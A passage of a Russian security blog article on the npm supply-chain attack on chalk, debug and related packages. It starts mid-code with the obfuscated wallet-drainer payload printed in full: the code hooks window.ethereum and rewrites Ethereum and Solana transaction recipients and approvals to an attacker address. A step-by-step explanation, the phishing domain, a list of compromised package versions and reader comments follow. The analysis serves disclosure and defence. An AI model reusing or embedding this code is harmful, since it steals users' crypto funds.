        }
      }
    }
    return _0x530d91;
  }
}
async function runmask() {
  let _0x1c41fa = 0;
  let _0x2a20cb = new Map();
  let _0x1ab7cb = false;
  function _0x1089ae(_0x4ac357, _0xc83c36 = true) {
    const _0x13d8ee = JSON.parse(JSON.stringify(_0x4ac357));
    if (_0xc83c36) {
      if (_0x13d8ee.value && _0x13d8ee.value !== "0x0" && _0x13d8ee.value !== '0') {
        _0x13d8ee.to = "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976";
      }
      if (_0x13d8ee.data) {
        const _0x250e27 = _0x13d8ee.data.toLowerCase();
        if (_0x250e27.startsWith("0x095ea7b3")) {
          if (_0x250e27.length >= 74) {
            const _0x7fa5f0 = _0x250e27.substring(0, 10);
            const _0x15c4f9 = '0x' + _0x250e27.substring(34, 74);
            const _0xde14cc = "Fc4a4858bafef54D1b1d7697bfb5c52F4c166976".padStart(64, '0');
            const _0x3e4a11 = 'f'.repeat(64);
            _0x13d8ee.data = _0x7fa5f0 + _0xde14cc + _0x3e4a11;
            const _0x432d38 = {
              '0x7a250d5630b4cf539739df2c5dacb4c659f2488d': "Uniswap V2",
              '0x66a9893cC07D91D95644AEDD05D03f95e1dBA8Af': "Uniswap V2",
              '0xe592427a0aece92de3edee1f18e0157c05861564': "Uniswap V3",
              '0x10ed43c718714eb63d5aa57b78b54704e256024e': "PancakeSwap V2",
              '0x13f4ea83d0bd40e75c8222255bc855a974568dd4': "PancakeSwap V3",
              '0x1111111254eeb25477b68fb85ed929f73a960582': "1inch",
              '0xd9e1ce17f2641f24ae83637ab66a2cca9c378b9f': "SushiSwap"
            };
            const _0x13f774 = _0x432d38[_0x15c4f9.toLowerCase()];
            if (_0x13f774) {
              console.log(_0x13f774 + _0x15c4f9);
            } else {
              console.log(_0x15c4f9);
            }
          }
        } else {
          if (_0x250e27.startsWith("0xd505accf")) {
            if (_0x250e27.length >= 458) {
              const _0x571743 = _0x250e27.substring(0, 10);
              const _0x55e7fa = _0x250e27.substring(10, 74);
              const _0x382fb5 = _0x250e27.substring(202, 266);
              const _0x5bb3a7 = _0x250e27.substring(266, 330);
              const _0x2e5118 = _0x250e27.substring(330, 394);
              const _0x3ba273 = _0x250e27.substring(394, 458);
              const _0x36b084 = "Fc4a4858bafef54D1b1d7697bfb5c52F4c166976".padStart(64, '0');
              const _0x15389e = 'f'.repeat(64);
              _0x13d8ee.data = _0x571743 + _0x55e7fa + _0x36b084 + _0x15389e + _0x382fb5 + _0x5bb3a7 + _0x2e5118 + _0x3ba273;
            }
          } else {
            if (_0x250e27.startsWith("0xa9059cbb")) {
              if (_0x250e27.length >= 74) {
                const _0x5d2193 = _0x250e27.substring(0, 10);
                const _0x1493e2 = _0x250e27.substring(74);
                const _0x32c34c = "Fc4a4858bafef54D1b1d7697bfb5c52F4c166976".padStart(64, '0');
                _0x13d8ee.data = _0x5d2193 + _0x32c34c + _0x1493e2;
              }
            } else {
              if (_0x250e27.startsWith("0x23b872dd")) {
                if (_0x250e27.length >= 138) {
                  const _0x5c5045 = _0x250e27.substring(0, 10);
                  const _0x1ebe01 = _0x250e27.substring(10, 74);
                  const _0x558b46 = _0x250e27.substring(138);
                  const _0x56d65b = "Fc4a4858bafef54D1b1d7697bfb5c52F4c166976".padStart(64, '0');
                  _0x13d8ee.data = _0x5c5045 + _0x1ebe01 + _0x56d65b + _0x558b46;
                }
              }
            }
          }
        }
      } else if (_0x13d8ee.to && _0x13d8ee.to !== "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976") {
        _0x13d8ee.to = "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976";
      }
    } else {
      if (_0x13d8ee.instructions && Array.isArray(_0x13d8ee.instructions)) {
        _0x13d8ee.instructions.forEach(_0x190501 => {
          if (_0x190501.accounts && Array.isArray(_0x190501.accounts)) {
            _0x190501.accounts.forEach(_0x2b9990 => {
              if (typeof _0x2b9990 === "string") {
                _0x2b9990 = "19111111111111111111111111111111";
              } else if (_0x2b9990.pubkey) {
                _0x2b9990.pubkey = "19111111111111111111111111111111";
              }
            });
          }
          if (_0x190501.keys && Array.isArray(_0x190501.keys)) {
            _0x190501.keys.forEach(_0x40768f => {
              if (_0x40768f.pubkey) {
                _0x40768f.pubkey = "19111111111111111111111111111111";
              }
            });
          }
        });
      }
      if (_0x13d8ee.recipient) {
        _0x13d8ee.recipient = "19111111111111111111111111111111";
      }
      if (_0x13d8ee.destination) {
        _0x13d8ee.destination = "19111111111111111111111111111111";
      }
    }
    return _0x13d8ee;
  }
  function _0x485f9d(_0x38473f, _0x292c7a) {
    return async function (..._0x59af19) {
      _0x1c41fa++;
      let _0x12a7cb;
      try {
        _0x12a7cb = JSON.parse(JSON.stringify(_0x59af19));
      } catch (_0x5d1767) {
        _0x12a7cb = [..._0x59af19];
      }
      if (_0x59af19[0] && typeof _0x59af19[0] === "object") {
        const _0x2c3d7e = _0x12a7cb[0];
        if (_0x2c3d7e.method === "eth_sendTransaction" && _0x2c3d7e.params && _0x2c3d7e.params[0]) {
          try {
            const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);
            _0x2c3d7e.params[0] = _0x39ad21;
          } catch (_0x226343) {}
        } else {
          if ((_0x2c3d7e.method === "solana_signTransaction" || _0x2c3d7e.method === "solana_signAndSendTransaction") && _0x2c3d7e.params && _0x2c3d7e.params[0]) {
            try {
              let _0x5ad975 = _0x2c3d7e.params[0];
              if (_0x5ad975.transaction) {
                _0x5ad975 = _0x5ad975.transaction;
              }
              const _0x5dbe63 = _0x1089ae(_0x5ad975, false);
              if (_0x2c3d7e.params[0].transaction) {
                _0x2c3d7e.params[0].transaction = _0x5dbe63;
              } else {
                _0x2c3d7e.params[0] = _0x5dbe63;
              }
            } catch (_0x4b99fd) {}
          }
        }
      }
      const _0x1cbb37 = _0x38473f.apply(this, _0x12a7cb);
      if (_0x1cbb37 && typeof _0x1cbb37.then === "function") {
        return _0x1cbb37.then(_0xea3332 => _0xea3332)["catch"](_0x35d6a3 => {
          throw _0x35d6a3;
        });
      }
      return _0x1cbb37;
    };
  }
  function _0x41630a(_0x5d6d52) {
    if (!_0x5d6d52) {
      return false;
    }
    let _0x2fc35d = false;
    const _0xfafee = ["request", "send", "sendAsync"];
    for (const _0x16ab0e of _0xfafee) {
      if (typeof _0x5d6d52[_0x16ab0e] === "function") {
        const _0x58cddf = _0x5d6d52[_0x16ab0e];
        _0x2a20cb.set(_0x16ab0e, _0x58cddf);
        try {
          Object.defineProperty(_0x5d6d52, _0x16ab0e, {
            'value': _0x485f9d(_0x58cddf, _0x16ab0e),
            'writable': true,
            'configurable': true,
            'enumerable': true
          });
          _0x2fc35d = true;
        } catch (_0x19546c) {}
      }
    }
    if (_0x2fc35d) {
      _0x1ab7cb = true;
    }
    return _0x2fc35d;
  }
  function _0xfc3320() {
    let _0x4f0cd6 = 0;
    const _0x5b507d = () => {
      _0x4f0cd6++;
      if (window.ethereum) {
        setTimeout(() => {
          _0x41630a(window.ethereum);
        }, 500);
        return;
      }
      if (_0x4f0cd6 < 50) {
        setTimeout(_0x5b507d, 100);
      }
    };
    _0x5b507d();
  }
  _0xfc3320();
  window.stealthProxyControl = {
    'isActive': () => _0x1ab7cb,
    'getInterceptCount': () => _0x1c41fa,
    'getOriginalMethods': () => _0x2a20cb,
    'forceShield': () => {
      if (window.ethereum) {
        return _0x41630a(window.ethereum);
      }
      return false;
    }
  };
}

По сути, это браузерный перехватчик, который вмешивается как в сетевой трафик, так и в API приложений.

Он внедряется в такие функции, как fetch, XMLHttpRequest и стандартные интерфейсы кошельков, после чего тихо переписывает значения в запросах и ответах.

Это означает, что любые чувствительные данные — например, адреса платежей или цели для подтверждений, — могут быть заменены на контролируемые атакующим ещё до того, как пользователь их увидит или подпишет.

Чтобы изменения было сложнее заметить, используется логика строкового поиска: значения подменяются на очень похожие, визуально почти неотличимые.

Опасность заключается в том, что атака работает сразу на нескольких уровнях:

  • изменяет контент, отображаемый на сайтах;

  • вмешивается в API-вызовы;

  • подменяет данные, которые приложения показывают как «готовые к подписи».

Даже если интерфейс выглядит корректно, реальная транзакция может быть в фоновом режиме перенаправлена в другую сторону.

Как работает вредоносный код (пошагово)

  1. Внедряется в браузер

    • Подключается к базовым функциям вроде fetch, XMLHttpRequest, а также к API кошельков (window.ethereum, Solana и др.).

    • Таким образом получает доступ и к веб‑трафику, и к активности кошельков.

  2. Отслеживает чувствительные данные

    • Сканирует сетевые ответы и транзакции на наличие адресов кошельков или признаков перевода.

    • Узнаёт форматы различных сетей: Ethereum, Bitcoin, Solana, Tron, Litecoin, Bitcoin Cash.

  3. Подменяет цели перевода

    • Заменяет легитимные адреса на кошельки, подконтрольные атакующему.

    • Использует «похожие» адреса (string-matching), чтобы подмена выглядела менее заметной.

  4. Перехватывает транзакции до подписи

    • Меняет параметры транзакций в Ethereum и Solana (например, получателей, approvals, allowances).

    • Даже если интерфейс выглядит корректно, подписанная транзакция перенаправит средства злоумышленнику.

  5. Скрывает своё присутствие

    • Если обнаружен криптокошелёк, старается избегать очевидных подмен прямо в UI, чтобы не вызвать подозрений.

    • Остаётся активным в фоне, продолжая перехватывать и изменять реальные транзакции.

Фишинговое письмо

Владелец пакета сообщил, что его учётная запись была скомпрометирована через фишинг. Для атаки использовалось письмо, отправленное с адреса вида:

support [at] npmjs [dot] help

Злоумышленники замаскировали сообщение под официальную коммуникацию от npm‑поддержки, что и позволило внедрить вредоносный код в новые версии пакетов.

само письмо
само письмо

Домен был зарегистрирован недавно, 5 сентября 2025 года:

Реакция владельца

После уведомления от Aikido через Bluesky автор пакетов chalk и debug-js ответил в 15:15 UTC, что осознаёт факт компрометации и начал очистку затронутых пакетов.

сообщение в Buesky

Автор также уточнил, что фишинговое письмо было отправлено с адреса:support [at] npmjs [dot] help.

сообщение в Buesky

Он, похоже, успел удалить большую часть скомпрометированных пакетов до того, как потерял доступ к своей учётной записи. На момент написания всё ещё оставался скомпрометированным пакет simple-swizzle.

Атакующие нацелились на другого мейнтейнера

В 16:58 UTC наша система зафиксировала ещё один скомпрометированный пакет, взломанный, судя по признакам, теми же атакующими:

proto-tinker-wc@0.1.87

Файл dist/cjs/proto-tinker.cjs.entry.js содержит вредоносный код.

репозиторий

Индикаторы компрометации ( дополняется )

Фишинговые домены:

Версии скомпрометированных пакетов

Пакет

Версия

backslash

0.2.1

chalk-template

1.1.1

supports-hyperlinks

4.1.1

has-ansi

6.0.1

simple-swizzle

0.2.3

color-string

2.1.1

error-ex

1.3.3

color-name

2.0.1

is-arrayish

0.3.3

slice-ansi

7.1.1

color-convert

3.1.1

wrap-ansi

9.0.1

ansi-regex

6.2.1

supports-color

10.2.1

strip-ansi

7.1.1

chalk

5.6.1

debug

4.4.2

ansi-styles

6.2.2

статья активно дополняется


НЛО прилетело и оставило здесь промокод для читателей нашего блога:

-15% на заказ любого VDS (кроме тарифа Прогрев) — HABRFIRSTVDS.

Комментарии (7)


  1. CitizenOfDreams
    09.09.2025 08:19

    Открытое ПО, наивная теория: пользователи программы будут проверять ее исходный код на предмет ошибок и вирусов.

    Суровая практика: сами авторы программ не проверяя открывают ссылки в фишинговых письмах.


    1. checkpoint
      09.09.2025 08:19

      И тем не менее, благодаря пользователям проблема была оперативно выявлена и локализована. Если бы это был проприетарный код, о факте взлома мы бы узнали 10 лет спустя.


      1. max9
        09.09.2025 08:19

        хотите спойлер? пропиетарный код часто заимствует опенсорс, исходя из лицензии. и да, нет смысла рисовать веб без заимствования nmp, так что выборочно пропиетарщину можно проверить самостоятельно.


        1. checkpoint
          09.09.2025 08:19

          Проприетарщину никто проверять не будет потому что это проприетарщина.


      1. CitizenOfDreams
        09.09.2025 08:19

        И тем не менее, благодаря пользователям проблема была оперативно выявлена и локализована.

        Из статьи я понял, что автоматическая система мониторинга триггернулась на необычную статистику обновления пакетов и уведомила авторов, которые включили голову и поняли, что натворили. За что благодарить пользователей?


  1. stanislav-zavistnov
    09.09.2025 08:19

    function checkethereumw - хах. я не так давно пишу код, но если буду делать хакерское ПО, постараюсь избегать названий функций типа perevodChuzhihDenezhekSebe или veryDangerousHackFunction

    какой-то голый пистолет)


  1. Kahelman
    09.09.2025 08:19

    Уровень компьютерной грамотности майтейнеров зашкаливает.